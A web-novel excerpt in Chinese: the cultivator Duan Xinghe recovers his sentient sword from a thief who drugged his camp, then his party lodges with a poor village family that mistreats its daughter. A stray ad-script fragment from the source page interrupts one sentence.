大家出来久了,已经习惯了随遇而安。晚上到了一片林地边,众人扎了营。段星河去附近转了一圈,运气不错,打到了一只狍子。回来时伏顺正在搭篝火,见他拖来了一只半大的狍子,惊讶道:“还是大师兄厉害,打猎跟玩儿似的!” 他虽然人懒,胜在嘴甜。段星河被夸的心情好了起来,道:“你来拾掇吧。” 伏顺的动作十分麻利,把猎物剥洗了,分成了几大块肉,架在火上烤。赵大海在一旁熬玉米粥,片刻粥咕嘟嘟地冒起了泡,烤肉的香气也飘出来了。段星河搓了搓手,道:“开吃吧。” 众人七手八脚地把狍子肉分了,就着玉米粥,吃到肚子里热乎乎的十分满足。赵大海抬头看着寥落的星子,感叹道:“要是有碗烧酒就好了。” 冬天有烧酒能御寒,段星河也有点想喝了,道:“下次到了镇子里买几坛带上。” 伏顺道:“咸鸭蛋还有么?” 段星河有一阵子没关心这些事了,道:“快吃完了吧,到时候一起买点。” 寒风刮得人手脚冰凉,就算烤着火也难受。吃完了饭,大家就钻进了帐篷里,打算早休息。 段星河跟步云邪住一间帐篷,放下了帘子。步云邪已经躺下了,他身上穿着白色的薄袄,乌黑的头发散在枕头上。在外面虽然辛苦一点,但不用跟李司正他们打交道,心里轻松多了,步云邪其实更喜欢这种感觉。 段星河道:“冷吗?” 步云邪呵出一口白气,道:“还行。” 他们从小修炼,身体底子比一般人要好得多,这点苦还是经受得住的。段星河钻进了睡袋,道:“睡吧。” 夜色浓重,营地里静悄悄的。篝火在寒风中跳动着,木柴发出轻轻的爆裂声。一阵白雾悄然弥漫开来,被火一烤,扩散的更远了。 段星河睡梦中感觉有只手在身边摸来摸去的,片刻那只手得寸进尺,伸进了他的睡袋里。他翻了个身,喃喃道:“阿云,别闹。” 安静了一阵子,那只手又悄然摸了过来,骨骼有些纤细,跟步云邪的手不一样。段星河想睁眼,却觉得昏昏沉沉的,不知不觉又睡着了。 次日一早,段星河睁开了眼,隐约有点头疼。帐篷帘子掀着,步云邪洗漱完了,从外头回来。段星河觉得自己应该不是在做梦,低头发现衣襟还敞着,露着一大片胸膛。他坐了起来,道:“你夜里摸我干什么?” 步云邪一脸莫名其妙,道:“谁摸你了,你有什么好摸的?” 段星河道:“不是你么,那是谁?” 步云邪还想问他呢,道:“你昨晚是不是起夜了,来来去去的折腾,还踩了我一脚。” 段星河茫然道:“我没有啊。” 两人对视了片刻,忽然意识到了不对劲。步云邪出了帐篷,见伏顺打着呵欠从旁边路过,道:“你昨天夜里听见有动静么?” 伏顺睡到这时候才醒,揉着眼道:“没有啊,昨晚睡得特别沉,头还有点疼……怎么回事?” 段星河披上衣服,从帐篷里钻出来,见篝火周围残留着些白色的粉末。他捻起一点嗅了嗅,顿时感到了一阵眩晕。 “是迷药,昨天晚上有人来过。” 有人偷袭了他们,也没害命,应该就是谋财了。段星河定了定神,快步回了帐篷,翻了一下包袱,钱没丢。他忽然想起自己睡觉的时候都搂着幽冥剑,生出了不好的感觉。他提起睡袋晃了晃,发现里头空空如也。步云邪道:“丢什么了?” 段星河的脸色铁青,道:“幽冥剑不见了。” 李玉真和宋胡缨听见了动静,也过来了。宋胡缨听说有人来过,第一反应就去看小对眼。她到处找了一圈,发现小对眼和墨墨窝成一团,还在赵大海的帐篷里睡觉。 她过去拍了拍它们,道:“没事吧,醒醒。” 墨墨动了动鼻子,睁开了黑豆眼。小对眼弓起背来伸了个懒腰,不明白她为什么这么紧张。它俩还保持着野生动物的习性,一般天一亮最早醒来,能睡到这个时候,说明夜里也吸了不少迷香。 宋胡缨有点心疼,把她儿子抱了起来,想看看它神志受损没有。小对眼一向两只眼睛分开站岗,脑子清不清醒实在很难从外表看出来。墨墨舔了舔嘴唇,好像不觉得有什么,一旦醒过来就开始饿了。 段星河把营地翻了一遍,确定幽冥剑是丢了。他的心沉了下去,觉得除了这把剑之外,自己再也找不到这么趁手的兵刃了。在别人眼里,那只不过是一把黑黢黢的重剑,还死沉死沉的。只有自己知道它有多强大,当然除了他之外,知道它是个宝贝的还有万象门的人。在火里下迷香的这种下三滥行为,也像极了万象门的行事作风。 步云邪招了招手,道:“你来看。” 营帐后面的泥地上,有几个小巧一些的脚印,又有几个硕大的脚印,像是一个女子和一个高大的壮汉来过。段星河印证了自己的想法,皱眉道:“果然是他们。” 薛红玉一直想把幽冥宝匣拿回去,不惜招来了大量的伥鬼,差点被失控的阴魂撕成碎片,为此还被阴司的人盯上了。看来她蛰伏了一阵子还是不甘心,一路尾随而来,昨天夜里悄悄在篝火里下了迷药,把幽冥剑摸走了。 段星河下意识摸了一下胸口,觉得有点吃亏。她来偷剑就算了,居然还顺手摸了自己两把,不知道是怎么想的。步云邪双手抱着臂,还有心情调侃他:“破案了,你被个漂亮的大姑娘摸了,感觉如何?” 段星河惦记着自己丢的剑,只有心疼,道:“不怎么样。” 马蹄的痕迹消失在前方的小路上,隔了一夜,不知道那两个人跑到什么地方去了。段星河对幽冥剑已经有感情了,不管怎么样都得把它找回来。他牵过了马,打算去找那两个小贼。 赵大海要赶车跟他一起去,段星河道:“不用了,你们在这里等着吧。” 他说话声中,一扬马鞭,已经奔了出去。步云邪怕对方人多他对付不了,翻身上了马,道:“等等,我和你一起去。” 泥泞的小路边有一片荒地,地上散落着些碎石和枯木,到处都弥漫着腐败的气息。薛红玉穿着一身银红色的衣裙,脖子上戴着一串璎珞,手腕上戴着七八只细细的金镯子,坐在一个大树桩上。她身边猫着三个白衣伥鬼,一个站着,两个蹲着,正拢着袖子好奇地看着她忙活。 薛红玉左手攥着剑鞘,右手用力一拔,幽冥剑纹丝不动。 那个大块头阿蚺站在一旁,不安地说:“大姐,他们不会追过来吧?” “不会,他们中了我的迷香,睡得跟死猪一样……嘿!” 薛红玉说着话,把剑鞘夹在两个膝盖之间,双手攥着剑柄使出了吃奶的劲儿,幽冥剑仍然一动不动。 她憋得面红耳赤,又把剑鞘夹在咯吱窝下面,用力拔了半天,还是没能拔出来。天亮了,太阳穿过树林照过来,那几个白衣伥鬼像雾气一样渐渐消散了。阿蚺想着昨晚的事,觉得可惜似的,道:“那么好的机会,怎么不杀了他们?” 薛红玉看了他一眼,道:“主上三令五申不让杀,你敢不听话?” 阿蚺想起教主说过,要一点点地折磨他们,把带头的那个小子逼疯。可那姓段的小子脾气淡定的很,要激怒他都很难,怎么才能让他崩溃? 他愁眉苦脸道:“那小子难对付得很,我就怕他还没疯,咱们先疯了。” 薛红玉手里攥着剑,咬牙切齿道:“你少放屁。逼疯一个人还不容易么,一直打压他、折磨他,摧残他的□□和精神,毁掉他的一切支柱。慢慢来,这一路还长着呢。” 薛红玉费了半天劲儿,幽冥剑仿佛瞧不起她似的,硬是一点反应也没有。阿蚺忍不住道:“大姐,要不算了吧,这剑咱们可能真的拔不出来。” 刚才他已经试过了,自己这么大个子,两膀子都是雄赳赳的力气,尚且不能把剑撼动分毫。更何况薛红玉是个娇滴滴的女子,力气远不如自己。 薛红玉不服气,起身一脚蹬在树桩上,道:“老娘就不信这个邪了,今天我非把它拔出来不可!” 方才她让伥鬼在附近找了一处阴气最重的地方,幽冥剑喜欢阴沉戾气,自己虽然没那么大的能量,借助外界的气息,照样能让它回应。 她把幽冥剑放在荒地中间,拔出匕首割破了手指,在剑的东西南北四个方向写下了咒文。血红色的符咒跟周围的阴气融合,渐渐生出了几道飘浮的黑气。四个方向的黑气像藤蔓一样勾连在一起,覆盖着幽冥剑,让它感觉自己好像身处在一个强大的能量面前。 薛红玉握住了剑柄,感觉这回有所松动。她勾起了嘴角,得意道:“再厉害也不过是一个蠢物件,还不是要被老娘摆布。” 她猛一用力,锵地一声,幽冥剑脱鞘而出。它发现面前的不是自己的主人,觉得被她欺骗了,发出了嗡嗡的震鸣声。那股震颤的力量越来越强,融合了周围的阴邪之气,骤然震脱了她的手。 薛红玉厉声道:“脾气还不小,我把你拔出来了,你不服么?” 幽冥剑漂浮在半空中,周身骤然风起云涌,阴沉的剑光一闪,生出了几道虚影。那几个影子重叠在一起,又变成了数十道剑影,每一把剑都透着强烈的杀气,冷冰冰地直指向她。 阿蚺感觉有点不妙,往后退了一步,道:“大姐,它这是什么意思?” 薛红玉还没回答,几十道剑光倏地一声,已经追着她刺了过来。都是血肉之躯,被这玩意儿扎一下可不是闹着玩的,那两人大为骇然,连忙转身就跑。白晃晃的剑光追着他们上天入地,到处飞旋,非要杀了他们不可。 薛红玉慌张道:“不是,这玩意儿怎么这么不听话?” 阿蚺道:“我听说这些剑都是有灵性的,它已经认了主,只会把咱们当成小偷。” 薛红玉怒道:“胡说八道!那姓段的小子才是小偷,这幽冥宝匣本来就是教主赐给我的!” 阿蚺跑的上气不接下气,道:“可是……是那小子先把它唤醒的,它睁眼看到的第一个人不是咱们啊。” 嗡地一声,一道剑光削过来,擦着薛红玉的脑袋飞了过去。她的头发被削掉了一簇,黑色的发丝飘散在风中。 “啊啊啊——它敢划我的脸!我的脸!” 薛红玉刹那间还以为自己毁容了,吓得尖叫一声,矮身躲在了阿蚺身后。阿蚺也慌得不行,扭头看了一眼,道:“大姐,脸没事,就是头秃了一片。” 薛红玉伸手一摸,脸是不疼,随即怒道:“你才秃了,闭嘴!” 两人被追到了一棵高大的水杉树边,长剑的虚影从四面八方包围着他们,拦住了所有的去路。 段星河骑马追到附近,不见了马蹄印。正有些奇怪,忽然听见前头传来了女子的尖叫。他连忙赶过来,就见薛红玉捂着头发躲在阿蚺身后,一副又气又急的模样。 幽冥剑化作数十柄虚影,漂浮在空中指着那两个人,好像抓住了偷剑贼。 段星河扬起了嘴角,双手抱臂站在一旁,道:“呦,这是闹哪一出啊?” 幽冥剑见他来了,骤然亮了一下,仿佛跟主人打招呼。剑尖仍然指着那两个人,不肯轻易放过他们。 步云邪也到了,见了这情形颇为诧异。薛红玉偷剑被他们逮住了,显得十分尴尬,但性命攸关也顾不上这许多了。她道:“段兄,你来得正好。这玩意儿无法无天的,赶紧管管它!” 段星河不听她套近乎,道:“这剑好端端的在我被窝里揣着,怎么会到这里来的?” 薛红玉知道他是故意刁难自己,只能硬着头皮道:“我拿的。” 段星河道:“拿?我没答应啊。” 薛红玉有些烦躁,但眼下这个情势只能暂时忍耐,道:“好好好,是我偷的。它只认你一个人,你行行好,赶紧把它弄走吧!” 段星河这才满意了,招了招手,幽冥剑便飞了过去,听话的简直让人嫉妒。步云邪在附近找到了剑鞘,拾了回来。段星河把剑还回鞘里,锵地一声收拢了杀气。他淡淡道:“它是我的,你死心吧。” 薛红玉差点被这把剑杀了,确实心如死灰了。她披头散发的,模样极其狼狈,又憋了一肚子气,觉得这小子就是自己命里的克星。 段星河想起了之前在德陵城里见过的大妖,道:“嫉妒是你放出来的?” 薛红玉压根不承认,道:“你可别乱说,哪只眼睛看到我们放出来的?” 段星河道:“之前的胭脂山大妖不就是你弄了一群伥鬼放出来的么?” 薛红玉一时间没说话,阿蚺粗声粗气道:“是又怎么样,关你什么事!” 薛红玉拿胳膊肘碰了他一下,阿蚺便知道自己说错了话,闭上了嘴。段星河道:“城里百姓被你们骚扰的怨声载道的,你们把妖物放出来,就不怕反噬到自己么?” 薛红玉又恢复了傲然的姿态,拢了拢头发道:“那又有什么了?老娘还给你们准备了不少惊喜,你们就慢慢 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 走着瞧吧!” 段星河又没得罪他们,万象门的人却像附骨之疽一样,一直跟着他们,暗中给他们捣乱。他皱眉道:“你到底想干什么?” 薛红玉冷冷道:“就是瞧你有趣,想跟你玩玩,怎么玩不起么?” 段星河感觉她翻脸跟翻书似的,刚才还怕的要命,这会儿又狂起来了。他拇指把吞口顶开一寸,雪亮的剑光照在了她脸上,透出一股威慑之意。薛红玉立刻打了个激灵,道:“本姑娘还有事,先走一步,咱们改日再见吧。” 她一抖衣袖,里头的小麻绳钻了出来,迎风变成了吊桶般粗细的一条赤练蛇。薛红玉和阿蚺骑到了蛇背上,头也不回地逃了。步云邪扬起了嘴角,道:“跑的够快的。” 段星河摩挲着剑鞘,失而复得格外珍惜,道:“以后在外露宿得做个结界,免得再被人喷了迷药。” 步云邪也想到了这一点,道:“我和李兄擅长符咒,我们俩来吧。” 段星河把剑挎在腰上,沉甸甸的有种安心感,道:“回去吧,他们应该做好早饭了。” 两人回到营地,发现其他人还没开火。大家生怕他们出事,都坐立不安的,没心思干别的。宋胡缨提起了斩马/刀,正准备和李玉真去找他们,远远地就见那两个人回来了。 段星河翻身下了马,拍了拍剑道:“找回来了。” 李玉真松了口气,道:“我们还想去找你呢,没事吧。” “没事,”段星河道,“它自个儿会认主,一叫它就回来了。” 这剑浑身萦绕着一股阴沉戾气,除了段星河之外谁也不认。步云邪有些担忧,觉得这不是个好兆头。段星河身上的煞气太重了,再这样发展下去,他自身必然会受到损伤。 赵大海煮起了粥,段星河去收拾行李,打算吃完饭就启程。步云邪过来帮他拔营,垂着眼显得心事重重的。段星河转头看着他,道:“怎么了?” 步云邪低声道:“你最近身体怎么样?” 段星河挺乐观,道:“还行,有一阵子没犯病了。” 他说着拉开了衣襟,低头看了一眼胸口,深红色的烙印没有再扩大的迹象。步云邪道:“那剑那么凶,还只认你一个人,你是不是得控制一下自己了?” 他身上的诅咒带着强烈的煞气,一旦失去控制就会侵蚀他的神志。段星河犯病时身体就像撕裂一样疼痛,要是神志不清的情况下伤害了兄弟,那就糟糕了。他的神色沉了下来,道:“我知道了,我会控制好的。” 两人收完了帐篷,见伏顺盘着腿坐在火堆旁边,跟赵大海道:“给我个咸鸭蛋。” 赵大海往锅里扔了一把扁豆干,道:“一共就俩了,你还要吃。” 伏顺犯了馋虫病,道:“我不管,嘴里都淡出鸟来了,给我一个。” 赵大海看了他一眼,道:“给你一个你就能听话?” 伏顺坐正了道:“保证听话。” 赵大海便道:“那听话,咱不吃。” 李玉真坐在对面,忍不住笑了。伏顺感觉被他耍了,悻悻道:“小气劲儿的。” 众人围着火堆坐下,吃了早饭。宋胡缨觉得头发有点打绺,荒郊野外的想洗个澡都不容易。她道:“还有多久到城里?” 李玉真掏出地图,看着上头的记号道:“最近的城镇叫金雨城,离这儿还挺远的,得先穿过这座大浔山……哦,山里还有个村子,今天晚上之前要是能赶到的话,可以找个人家借宿。” 段星河抬起眼向前望去,见薄薄的雾霭中,一座莽莽大山屹立在远处。 太阳渐渐升高了,空气里带了些暖意。他站起来道:“出发吧。” 大车缓缓地行驶在路上,穿过一片树林,进入了大浔山的地界。走到下午,就见前方有一片稀稀落落的民房。李玉真向外望去,道:“这就是那个小浔村了吧?” 这边的草木稀疏,大片的地上覆盖着白色的盐霜,土地裂成一块一块的,都是盐碱地。这种地种什么都不长,住在这里的人可有罪受了。 前方的村子十分破旧,黄昏中的行人来来往往,生的头发稀疏,身材佝偻,又黄又瘦的,都是些潦倒穷人。 天色不早了,段星河翻身下马,想找个民宅借宿。这个时候出来的都是些闲汉,眼神十分刁滑,见来了外乡人,眼睛不住往他们身上打量,显得不怀好意。 宋胡缨骑马走在步云邪身边,她穿着一身石榴红的衣裙,乌黑的长发在风里轻轻摆动,出现在这个穷乡僻壤,简直明艳的让人挪不开眼。 一棵光秃秃的大胡杨树下,几个闲汉聚在一起聊天吹牛。一个瘦子吹了个口哨,挤眉弄眼地示意身边的人看,小声道:“诶,你瞧这小娘子怎么样?” 一人摸着下巴道:“脸蛋儿还不错,就是屁股不够大,也就打个六分吧。俺娘说这样的不好生养。” 一个年纪大些的男人道:“你看她穿金戴银的,骑的马也贵,这样的女人不持家,不能要。” 一个驼背道:“行了吧,有主儿的,没看见身边那么多男人么?” 又一个麻脸汉子道:“不是吧,那不是还没盘头吗?啧啧,还没成婚就在外面抛头露面的,以后怎么嫁得出去啊!” 那些人自己长得不怎么样,衣服上补丁摞着补丁,头不梳脸也不洗,却还有闲心对别人评头论足。 宋胡缨都听见了,看了那边一眼,神色不怒自威。那些人见她身后背着一柄一人高的斩马/刀,意识到这小姑娘不好惹,顿时把那些乱七八糟的眼神收了回去。 伏顺趴在车窗上,见那几个人敢打他义父的主意,幸灾乐祸道:“他们怕是不想活了,敢惦记咱们宋大姑娘!” 路上的穷汉还有不少,眼神都跟钩子似的,看见个出门的年轻女子就像见着个掉在路边的钱袋子似的,恨不能直接上来就抢。 李玉真一向对宋胡缨敬若神明,那些人却对她大放厥词,让他心里很不舒服。他觉得喜欢的姑娘被那些人多看一眼都是亵渎,扬声道:“宋姑娘,外头风沙大,你进车里来歇歇,我替你骑马吧?” 宋胡缨知道他是好意,却根本没把那些人放在眼里。她一刀下去,那些蝼蚁只有满地找头的份儿。她淡淡道:“不必了。” 段星河本来跟步云邪并辔而行,听见了那些人的话,对视了一眼。步云邪拉住了缰绳,把宋胡缨让到了中间去,跟段星河一左一右地护着她。他们二人生的高大,把女孩子挡在中间,那些人就算想看也不容易了。 前头有个集市,稀稀拉拉的有些卖菜的人。段星河停下来,买了点梅干菜和黄豆,见旁边有人摆了两篮子生鸭蛋。他拿起一个看了看,道:“新鲜么?” 那婆婆热情道:“都是这两天刚下的,自家养的鸭子,从来不在村后湾放,都是去小浔河边放的!” 段星河有点疑惑,不知道村后湾和小浔河有什么区别。这时候就听前头传来一声尖叫,众人回头望去,就见一个懒汉拦着个穿淡黄裙子的少女,道:“没见过男人啊,有什么好叫的?” 少女手里挽着的菜篮子掉到了地上,吓得后退几步,道:“你……你摸我屁股干什么?” 懒汉一手搓着脖子上的灰,无所谓道:“三贞九烈的干什么,摸一下又不会少块肉。” 他说着往前走了一步,涎皮赖脸地道:“你是村头老李家的闺女吧,都多大了还不嫁人,哥哥帮你开开窍?” 那姑娘上街来买菜,没想到遇见了这种流氓。周围的人都是一副看好戏的模样,没人肯帮她。少女快哭了,浑身都气得发抖,不知该如何是好。段星河看得恼火,攥起了拳头,想过去教那狗东西做人。 步云邪提醒道:“星哥,淡定。” 段星河想起自己不能动怒了,暗道:“莫生气,生气涨煞气。” 他深吸了一口气,平复了情绪,觉得是得以德服人。他大步走了过去,啪地一巴掌拍在了那人的屁股上,用力揉捏了两下。 那人吓了一跳,猛地回过头来。见面前的男人身材高大,一脸冷淡地看着他。 懒汉活到这么大还没被男人摸过屁股,惊恐的不行,道:“干什么,你有病啊?” 段星河面无表情道:“这么三贞九烈的干什么,摸一下又不会少块肉。” 60.琼娘娘 二 不止那个懒汉惊恐地看着他,周围的人也都愕然了。 段星河不光摸,还拍了拍,别说那屁股还挺弹手。他十分满意,品鉴道:“挺大的,一看就好生养。” 懒汉浑身都石化了,想说点什么,又什么也说不出来。赵大海搓了搓手,兴奋道:“大师兄,你摸完了吗,该我了。” 伏顺冒出头来道:“还有我,兄弟们一个个来。” 步云邪骑在马上,微微露出了笑容,也对他表现出了兴趣。 果然恶人还是要恶人磨,那懒汉实在受不了这帮流氓,大叫了一声转身跑了。段星河拍了拍手,失望道:“这就跑了,没意思。” 赵大海弯腰捡起了菜,把篮子递给了那姑娘,道:“喏。” 少女还没缓过劲来,显得有点害怕,又十分感激他们,道:“多谢几位大哥。” 段星河温和道:“没事,赶紧回家吧。” 少女挽着篮子,一步三回头。伏顺忍不住要看她,觉得她虽然面黄肌瘦的,其实长得很漂亮,有种顽强柔韧的美感。可惜生在了个农户家,还长在这么穷的地方。 赵大海叹道:“一朵鲜花,开在这种盐碱地上。” 伏顺踢了一脚路边的小石头,惋惜道:“野草也长不起来呢,花长在这里,迟早也活不成。” 段星河回到刚才那个婆婆面前,把一篮子生鸭蛋都买了,回头道:“顺子,你自己腌。” 伏顺实现了咸鸭蛋自由,十分高兴,道:“好嘞!” 段星河付了钱,又问道:“请问这附近有能住宿的地儿么?” 老婆婆有点为难,道:“没有,很少有外人在这里停下。都嫌这边穷,宁可赶夜路也不留宿。” 段星河抬眼看天边,太阳已经快落山了,没想到都找到村子了,还要露宿在外面。这时就听一人怯生生地道:“你们没有地方住么,要不要去我家?” 段星河回过头,就见刚才那个女孩子还没走远,在一旁听见了他们的话。她一手挽着篮子,一手攥着衣襟,显得有些局促不安。段星河心中一喜,道:“那太好了,多谢姑娘,请问你高姓?” 少女道:“我姓李,叫结香。” 她梳着两条乌黑的辫子,生的眉清目秀,穿着白色的上衣,淡黄色的裙子,跟春天盛开的结香花似的。伏顺对她很感兴趣,接口道:“喔,就是打个结能许愿的那种花么?” 少女点了点头,又道:“不过别老打结……其实打结对那种花不好的。” 伏顺哈哈一笑,道:“我老家有好多那种花,看到有人谈恋爱的时候给它打结,我就偷偷解开。” 赵大海拿胳膊肘碰了他一下,示意他别太自来熟。伏顺怕吓着人家,只好闭嘴了。 少女倒是没有太怕他们,刚才段星河他们救了她,她知道这些青年都是好人。她轻轻一笑,道:“跟我来吧。” 一行人跟着结香穿过街道,转了几个弯,来到了一间破旧的民房前。大门是用荆枣木编的,上面密密麻麻的都是刺。一个妇人正在院子里喂鸡,见女儿带了这么多外乡人过来,十分诧异。 她道:“这是干什么?” 结香上前道:“娘,这些人想借宿一晚,咱家还有空地儿,让他们住吧?” 中年妇人有些心烦,把空笸箩一扔,把鸡吓得到处乱窜,大声道:“都不知道是什么来历的人,你就往家里领,让邻居看见了怎么说咱们?” 段星河出声道:“大婶,我们付钱,住一天给你三钱银子,吃饭再给你二钱。” 他从腰包里掏出了几块碎银子,这边的人都穷,在地里刨食一年都挣不了几两银子。听说他们给这么多钱,妇人顿时露出了笑容,眉头也打开了,连声道:“哎呀呀,几位小官人一看就是贵人,咱们欢迎的很。快请进,请进!” 一行人进了院子,赵大海把大车停在了墙角。结香领着他们进了一间空屋,里头有一张砖砌的炕,其他地方光秃秃的,什么也没有。很久没人住了,屋里积着一层灰。结香推开了窗户通风,一边道:“稍等一下,我帮你们打扫干净。” 她去院子里拿了笤帚过来,把屋里的灰尘扫干净了,又到处擦拭了一遍,是个勤快人。段星河道:“多谢姑娘。” “不用谢,”结香道,“你们还有个女孩子,要跟我一起住吗?” 宋胡缨正在想这件事,跟他们一起住其实也行,反正她有睡袋,不过要是能分开就更好了。她道:“那就打扰了。” 结香道:“没事,应该的。” 她的性情温柔,任劳任怨的,看来在家里没少干活。众人在屋里安置下了,只有一张床,大家决定按老规矩,抽签分配仅有的两个上好的床位。伏顺手里攥着一把草棍,道:“选好了吗,买定离手啊。” 众人摊开了手,结果是赵大海和李玉真抽到了床位。赵大海搔了搔头,觉得自己皮糙肉厚的没必要睡床,自觉把草棍掐掉一节,道:“我睡地上习惯了,让给二师兄好了。” 步云邪没有那么讲究,把睡袋铺在地上道:“抽到你就是你了,我睡哪儿都一样。” 大家说着话,李家的大儿子李亮睡醒了觉,蓬着头从主屋里出来了。他见家里多了这些人,惊讶道:“臭丫头,这些野男人哪来的?” 结香正在厨房门口劈柴,听见他这么说,连忙站起来道:“哥,这是来借宿的客人。” “借宿,”李亮皱眉道,“给钱么?你个蠢妮子跟没长心眼儿似的,不会给人白住吧?” 他大声嚷嚷着,当别人都没长耳朵似的。结香觉得很没面子,低声道:“给钱,一天五钱银子,你小声点。” 李亮听说有钱赚,这才满意了,道:“算你懂事,别一天到晚光吃饭不干活,多少有点用啊。” 宋胡缨从屋里出来,看他游手好闲的才像个多余的人,白长这么大个子,粗活重活都让妹妹干。她过去找其他人,道:“晚上怎么吃饭?” 李玉真道:“段兄付了钱,主人家应该包吃饭吧。” 结香应声道:“晚上吃大葱炒鸡蛋,腊肉炖扁豆,香椿拌豆腐,高粱面窝头。” 她哥登时瞪大了眼,道:“你这个赔钱货,不要命了,吃这么好?” 结香恨不能求她哥把嘴闭上,道:“人家给钱了,菜钱是客人出的。娘去买豆腐了,你别喊了行不行?” 她哥觉得进了自己口袋的钱,还是能省则省,都买成饭也太亏了。他还在寻思怎么才能多榨一点油水出来,眼睛转来转去的。结香唬他道:“饭钱一天一结,当天花不完还得退给人家。” 她哥顿时改变了主意,压低了声音道:“那让娘买一坛子酒,再买一扇排骨、几个大肘子。这钱不花白不花,别鼓捣那干巴窝头了,赶紧去!” 结香为难道:“屠户最近没收到猪,咱们村都没这些东西,你就别折腾了。” 村里的人都穷,有钱也未必能吃到肉。她哥气得不行,待在这个穷地方一点福都享不到,真是投错了胎。 正说着话,结香的父亲回来了。一个五十多岁的男子胡子拉碴的,肩上背着个粗布褡裢,里头装着些锤子、锉子之类的东西。冬天地里没活儿干,他就出去帮人打零工,但也经常一整天什么活也揽不到。他一进院子就把褡裢哗啦一声扔在地上,看这样就知道今天又白等了一天。 父亲要是没挣到钱,回家就看谁都不顺眼,常常会喝酒骂人。母亲受了他的气,就跟大儿子互相埋怨。一家人吵来吵去,最终就把脾气发到结香这里来,怨她是个没用的赔钱货。 结香见了父亲那张阴沉的脸,下意识低下了头,想赶紧找点活干。父亲看着这些陌生人,道:“怎么回事?” 李亮挠着肚皮,懒懒道:“过路借宿的,给钱啦,一天五钱银子。” 父亲的表情顿时缓和下来,没想到自己在外头白吹了一天冷风,结果从天上掉下来几个财神爷。他道:“那感情好!你娘呢,别把人晾这儿啊,快给客人做饭!” 结香道:“娘去买豆腐了,我先炒菜。” 她把木柴收起来,进了厨房,片刻里头响起了炒菜的声音。李亮站在院子里,有一眼没一眼地打量着宋胡缨,仿佛觉得她很好看,又有点生人勿近的模样,忍不住想要招惹她。 他整了整衣裳,过去道:“诶,你们从哪儿来的?” 宋胡缨抱着小对眼,淡淡道:“大幽。” 李亮喔了一声,他一辈子没离开过夷州,只听人说过大幽,也不知道在什么地方。他道:“你多大了?” 宋胡缨不喜欢他这种查户口的态度,转过身去没理他。李亮从小是父母手心里的宝贝,没想到还有女人敢不搭理自己。他顿时皱起眉头道:“我跟你说话呢,听不见是怎的,你个赔……” 他骂结香习惯了,稍有一点不顺心就下意识要骂人赔钱货。宋胡缨伸出两根手指头都能撂倒他,但刚来还没吃晚饭,总不能先把他家傻儿子暴打一顿。她松开手,暗中一拍小对眼的屁股。小对眼窜到了李亮身上,感觉他臭气熏天的,也不知道多久没洗澡了。李亮吓了一跳,道:“干什么,你这野猫!” 小对眼嗷地一声叫,伸出爪子照着他脖子挠了一下。 李亮的身上顿时见了血,一屁股坐在了地上。他母亲回来了,见了这情形吓了一跳,道:“我的儿,怎么啦!” 李亮指着小对眼道:“这畜生抓我!” 宋胡缨面无表情道:“畜生不懂规矩,是该好好教规矩。” 小对眼浑身炸着毛,朝他哈了口气,窜到客房里躲起来了。宋胡缨淡淡道:“回来,看我不打你一顿。” 她说着就这么走了,态度很难说不是演的。李亮总觉得自己不但被猫挠了,还被她指桑骂槐地骂了。但宋胡缨一看就是高门大户家的小姐,远不是自己能匹配的。他窝了一肚子火,拍了拍身上的土站起来,悻悻道:“不过是个小娘们,有什么了不起的!” 李母提着豆腐进了厨房,片刻做好了给他们送过来,桌上几个大海碗里盛着满满的菜,还挺丰盛的。众人饿坏了,埋头饱餐了一顿。 吃完饭,伏顺收拾了碗筷,装在篮子里提出去。就见厨房里坐着个人影,摸着黑也不点灯,低着头不知道在干什么。伏顺心里有点发毛,走近了一看,这才发现是结香坐在厨房里,端着个粗瓷碗,在黑暗里一个人吃饭。 正屋里,她爹娘哥哥围着桌子坐着,母亲端起盘子,把里头的腊肉和鸡蛋都倒进了儿子的碗里。父亲喝了一口酒,也没有阻拦,反而道:“多吃点,不够再让你娘炒个菜去。” 灯火照着他们,却好像遗忘了这个角落。明明是一家人,就因为她是女儿,吃饭都不能上桌,活儿却都是她干的。结香已经习惯了逆来顺受,从小到大有好事都是哥哥的,坏事都是她这个赔钱货招来的。 伏顺把篮子放在井边,想打水把碗洗了。结香听见了动静,连忙把窝头放下,过来道:“我来、我来!” 盘子油腻腻的,伏顺不好意思把她的手弄脏了。他道:“就几个碗,我涮一涮就得了。” 他把水桶提了出来,结香已经拿过了一个大木盆,把盘碗放了进去。她道:“你们是客人,要是让你们干活儿,我爹要骂我的。” 伏顺看她父亲那副模样,就知道他是个湿木燃柴的性子,平时闷闷的烧不起来,一发脾气所有人都要害怕。哗啦一声,他把水倒进盆里。结香洗着盘子,伏顺站在一旁道:“你怎么不跟他们一起吃饭?” 结香仿佛听了什么奇怪的言论,反问道:“哪有女人吃饭上桌的?” 伏顺嘿地一声笑了,道:“女人为什么不能上桌,你这话说给我们宋大姑娘听听看呢?” 结香想起了那个穿红衣裳的女孩子,她生的明艳自信,话虽然不多,却从骨子里透出一股力量感。她有点自卑,觉得自己跟她没法比,又很羡慕她。她小声道:“她一看就是富贵人家的大小姐,我跟她没法比的。” 伏顺沉默下来,这个村子这么穷,男人尚且饥一顿饱一顿的,女人的地位必然高不到哪里去。他道:“我老家在巴蜀,那边对女人挺好的,有好东西都让老婆先吃,盛产耙耳朵。” 结香道:“耙耳朵是什么?” 伏顺想起了自己彪悍的大姐,毫不夸张地说:“就是耳根子软,什么事都听老婆的。女人发脾气打老公,提着耳朵在村子里转一圈,男人都不敢还手的。” 结香忍不住笑了,道:“你骗人。” 伏顺道:“不骗你,我就是典型的耙耳朵,不信你捏捏,我耳朵根子就是软的。” 他凑了过来,身上透着干净的皂角气味。他虽然身材干瘦,但跟着兄弟们在外面锻炼的久了,也比这里的男人强许多。他身上有些薄薄的肌肉,也把自己收拾的挺干净整齐,不讨人厌。 结香的脸微微一红,觉得这人很不正经,低下头不理他了。伏顺见她又可怜又可爱的,忍不住要逗一逗她,但看她的反应,自己好像有点孟浪了。 结香把碗拿进厨房收了起来,又端着没吃完的饭回了自己屋,关起门来不跟他说话了。伏顺想着她刚才笑起来的模样,就像喝了一坛醪糟,整个人都晕乎乎的。 李玉真看着他道:“你怎么了?” 伏顺道:“没事啊。” 李玉真道:“没事你傻笑什么?” 伏顺摸了摸脸,道:“没有吧,别瞎说。” 